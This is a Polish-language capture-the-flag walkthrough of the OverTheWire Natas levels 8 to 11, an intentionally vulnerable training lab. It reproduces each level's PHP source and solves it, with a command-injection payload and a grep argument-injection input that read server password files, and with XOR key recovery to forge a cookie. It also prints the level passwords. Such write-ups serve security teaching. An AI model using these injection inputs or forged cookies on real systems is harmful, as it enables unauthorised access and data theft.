NATAS8:
Link do strony: http://natas8.natas.labs.overthewire.org/index.php
Login: natas8, password: DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe

Podglądamy kod strony,
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas8", "pass": "<censored>" };</script></head>
<body>
<h1>natas8</h1>
<div id="content">
<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";
}
}
?>
<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
Mamy zatem zakodowaną zmienną $encodedSecret = „3d3d516343746d4d6d6c315669563362”, która jest porównywana z zakodowanym hasłem przy pomocy funkcji bin2hex(strrev(base64_encode($secret))); Funkcje te są odwracalne można zatem odkodować zmienną $encodedSecret. Istnieje wiele stron w internecie, gdzie można odkodować te dane, natomiast ja napiszę kod w php aby odkodować te dane:
<?php
echo(base64_decode(strrev(hex2bin("3d3d516343746d4d6d6c315669563362"))));
?>
Wynikiem jest ciąg oubWYf2kBq
Wpisany w pole input powoduje pokazanie hasła do kolejnego poziomu, Access granted. The password for natas9 is W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
NATAS9:
Link do strony: http://natas9.natas.labs.overthewire.org/
Login: natas9 , password: W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

Strona posiada pole do wyszukiwania, sprawdźmy kod strony:
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas9", "pass": "<censored>" };</script></head>
<body>
<h1>natas9</h1>
<div id="content">
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>
Output:
<pre>
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>
</pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
Zgodnie z zapisem w kodzie realizowana jest funkcja grep -i $key dictionary.txt, nie jest natomiast nigdzie oczyszczana wartość wpisywanego parametru, zatem sprawdźmy czy możemy tego nadużyć:
1; cat /etc/natas_webpass/natas9
Warto tutaj opisać co tak naprawdę zostało zrobione. System wykonał kolejno dwa polecenia: grep -i 1 dictionary.txt; cat /etc/natas_webpass/natas9
Warto jeszcze zaznaczyć, że ścieżka do hasła została wykorzystana na podstawie schematu z zadania nr 7
Hasło do poziomu 10 to ciąg nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
NATAS10:
Link do strony: http://natas10.natas.labs.overthewire.org/
Login: natas10, password: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

Sprawdzamy kod strony:
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas10", "pass": "<censored>" };</script></head>
<body>
<h1>natas10</h1>
<div id="content">
For security reasons, we now filter on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>
Output:
<pre>
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
?>
</pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
Zadanie jest podobne do poziomu 9, natomiast programista wykorzystuje funkcję preg_match(’/[;|&]/’,$key), która jest zabezpieczeniem przed sztuczką z poprzedniego poziomu.
Skoro nie można dodać kolejnego polecenia to należy wykorzystać już istniejące, zatem wykorzystajmy właściwość polecenia grep, które może przyjmować kilka parametrów w postaci kilku plików.
grep -i u /etc/natas_webpass/natas11 dictionary.txt
Omówienie:
grep – polecenie linuksa do wyszukiwania danych w pliku,
-i – opcja odpowiedzialna za wyłączenie rozróżniania małych i dużych liter,
u /etc/natas_webpass/natas11 – to wartość do wpisania w pole tekstowe.
Hasło do poziomu 11 to U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
NATAS11:
Link do strony: http://natas11.natas.labs.overthewire.org/
Login: natas11, password: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

Sprawdźmy kod strony:
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas11", "pass": "<censored>" };</script></head>
<?
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = '<censored>';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
function loadData($def) {
global $_COOKIE;
$mydata = $def;
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}
return $mydata;
}
function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}
$data = loadData($defaultdata);
if(array_key_exists("bgcolor",$_REQUEST)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
$data['bgcolor'] = $_REQUEST['bgcolor'];
}
}
saveData($data);
?>
<h1>natas11</h1>
<div id="content">
<body style="background: <?=$data['bgcolor']?>;">
Cookies are protected with XOR encryption<br/><br/>
<?
if($data["showpassword"] == "yes") {
print "The password for natas12 is <censored><br>";
}
?>
<form>
Background color: <input name=bgcolor value="<?=$data['bgcolor']?>">
<input type=submit value="Set color">
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
W kodzie strony zastosowane jest ciastko, które jest kodowane funkcją XOR. Jego jawna wartość wynosi: $defaultdata = array( „showpassword”=>”no”, „bgcolor”=>”#ffffff”); Zaszyfrowana wartość wynosi natomiast: ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=
Funkcja szyfrująca XOR posiada następujące właściwości:
daneJawne xor klucz = daneZaszyfrowane oraz daneZaszyfrowane xor daneJawne = klucz, należy zatem napisać kod, który obliczy klucz potrzebny do ponownego zaszyfrowania danych, które będą posiadały wartość „yes” na parametrze showpassword.
<?php
$ciastko = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=";
function dekoduj_xor($zmienna) {
$jawne = json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff"));
$text = $zmienna;
$daneWyj = '';
for($i=0;$i<strlen($text);$i++) {
$daneWyj .= $text[$i] ^ $jawne[$i % strlen($jawne)];
}
return $daneWyj;
}
echo dekoduj_xor(base64_decode($ciastko));
?>
Wynikiem skryptu php, który wykonałem na stronie http://sandbox.onlinephpfunctions.com jest następujący ciąg znaków:
qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq
Klucz wynosi zatem qw8J i powtarza się przez cały ciąg. Pora teraz na skrypt, który zamieni nowe jawne ciastko na zaszyfrowany ciąg
<?php
$jawne = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
function kodujXor($zmienna) {
$klucz = 'qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq';
$text = $zmienna;
$daneWyj = '';
for($i=0;$i<strlen($text);$i++) {
$daneWyj .= $text[$i] ^ $klucz[$i % strlen($klucz)];
}
return $daneWyj;
}
echo base64_encode(kodujXor(json_encode($jawne)));
?>
Wynikiem skryptu jest nowe ciastko, które należy podmienić:
ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
GET / HTTP/1.1
Host: natas11.natas.labs.overthewire.org
Cache-Control: max-age=0
Authorization: Basic bmF0YXMxMTpVODJxNVRDTU1ROXh1Rm9JM2RZWDYxczdPWkQ5SktvSw==
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 OPR/65.0.3467.78
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: __cfduid=de6ff386a56a9de06641cefef89f2fa381571406785; __utmc=176859643; __utmz=176859643.1579185831.8.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __utma=176859643.1299241154.1578689263.1579185831.1579279735.9; data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
Connection: close
Wynikiem jest kod do 12 poziomu:
The password for natas12 is EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3